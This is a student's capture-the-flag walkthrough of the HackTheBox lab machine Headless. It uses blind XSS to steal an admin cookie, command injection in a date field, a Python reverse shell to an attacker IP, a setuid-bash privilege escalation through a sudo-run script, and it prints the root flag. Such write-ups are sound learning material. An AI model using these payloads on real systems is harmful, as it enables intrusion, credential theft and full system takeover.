Hi my name is Jack Buchanan, I am a student/researcher and this is how i exploited the HackTheBox system Headless.

with the target IP address of 10.10.11.8 I started my initial enumeration of the machine.

Enumeration:

I started this process by first running an nmap command. !

This was the result of the nmap scan which indicates that port 22/ssh is open and Port 5000 is open the nmap scan indicates it is running is python-Werkzeug which upon lookup is a set of python libraries used for hosting a web application using python 3.11.2 and Werkzeug/2.2.2. Upon visiting the webserver under port 5000 I am greeted with a contact support form in where I can enter First Name, Last Name, email, Phone number and A message. Upon doing some exploit research on the specific version of Wekzeug i found a cve that allows for remote code execution. [
CVE-2024-34069 (https://www.cve.org/CVERecord?id=CVE-2024-34069)

I didnt really get much from that CVE so now to fuzz the contact page to see if I can find a vulnerability in its input sanitation.

Then I run the command. wfuzz -c -z file,./SecLists/Fuzzing/XSS/XSS-BruteLogic.txt -d "fname=My&lname=Name&email=email%40email.com&phone=111111111&message=FUZZ" –hw 999 –hh 999 –hs 999 http://10.10.11.8:5000/support

Which indicates that xss attacks are successful. So i go the webpage and try to do a basic XSS attack in the body

but upon entering this it says # Hacking Attempt Detected

Your IP address has been flagged, a report with your browser information has been sent to the administrators for investigation.

Client Request Information:

Method: POST
URL: http://10.10.11.8:5000/support
Headers: Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 104
Origin: http://10.10.11.8:5000
Dnt: 1
Connection: keep-alive
Referer: http://10.10.11.8:5000/support

Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1

We see that Headers are displayed on the page whereas the content is not. Leading me to believe we could put our payload inside of the User-Agent header. We see that when doing this it works verifying a stored XSS vulnerability.

I will now try to find the subdomain which requires a valid is_admin cookie. First let me Fuzz this webpage to find it

ffuf -w subdomains-top1million-5000.txt -u http://FUZZ.10.10.11.8:5000/ -H "Host: FUZZ.10.10.11.8:5000" -mc 200,401,403 -fs 0

and i found it http://10.10.11.8:5000/dashboard

Initial Foothold:

Now im gonna try to steal the is_admin cookie through a blind XSS attack on the Hacking support page. I found a xss script that should be able to steal cookies online so lets try.

.

then we spin up a python server on port 5000 to serve to.

Then i recieve two cookies.

10.10.14.29 - - [04/Aug/2024 00:02:05] "GET /?cookie=aXNfYWRtaW49SW5WelpYSWkudUFsbVhsVHZtOHZ5
HTTP/1.1" 200 - 10.10.11.8 - - [04/Aug/2024 00:02:23] "GET /?cookie=aXNfYWRtaW49SW1Ga2JXbHVJZy5kb
HTTP/1.1" 200 -

im gonna assume the second one is correct here since I believe the first one is my cookie because of how quick I got it. This took me alot of fiddling around with different XSS scripts and different headers.

Upon Trying the cookie I get an # Internal Server Error and i realize that the cookie is probaly encoded somehow. Looks like base64 since there is a = at the end.

and get is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0

Which gives me access to the Administrator dashboard. which has an Generate Report button and allows you to select a date to generate a Website Health Report. Upon Examing the POST request that happens when you hit the button i see that POST /dashboard HTTP/1.1 Host: 10.10.11.8:5000 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 15 Origin: http://10.10.11.8:5000 DNT: 1 Connection: keep-alive Referer: http://10.10.11.8:5000/dashboard Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs Upgrade-Insecure-Requests: 1

date=2023-09-15

I get this request. The date input is what i will now target.

so i change the data parameter to include a second command which is. 2023-09-15;whoami. Which reveals the user is running under dvir. I know now that this parameter is not properly sanitized and can try to get a reverse shell.

Since I know the server is running a python intreprer i go to revshells and get a python rev shell. date=2023-09-15;python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.29",133
f in(0,1,2)];pty.spawn("sh")'

I enter this and setup my netcat listerner for port 1337 and I receive a shell back.

I get the user flag easily inside of the users directory.

i then stabilize the shell with. python3 -c 'import pty;pty.spawn("/bin/bash")'

Privilege Escalation:

i do sudo -l and see that i can run /usr/bin/syscheck as sudo without a password

I then do cat /usr/bin/syscheck to view the contents of the script and see

#!/bin/bash

if ["$EUID" -ne 0]; then exit 1 fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz *' -execstat -c %Y $(/usr/bin/find /boot -name 'vmlinuz *' -execstat -c %Y | /usr/bin/sort -n | /usr/bin/tail -n 1) | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then /usr/bin/echo "Database service is not running. Starting it..." ./initdb.sh 2>/dev/null else /usr/bin/echo "Database service is running." fi

exit 0

I use chatgpt to analyze the script and see`syscheck` calls another bash script called initdb.sh

I will now write my own initdb.sh that executes a command in order for me to escalate privledges with this command below.

echo '#!/bin/bash' > initdb.sh echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' » initdb.sh chmod +x initdb.sh

I then run /usr/bin/syscheck and to access the root shell i setup i use. /tmp/rootbash -p

And i get root!

and find root.txt inside of /root

34c8180d06ef9c471cd7faa78fe5df3d

This is my first writeup! I wanted to choose an easier CTF so I wouldnt have much of a challenge in doing a writeup. This is the first to come but certanilty not the last! I hope that I could help anyone who needed it! Thank you for reading, Jack Buchanan.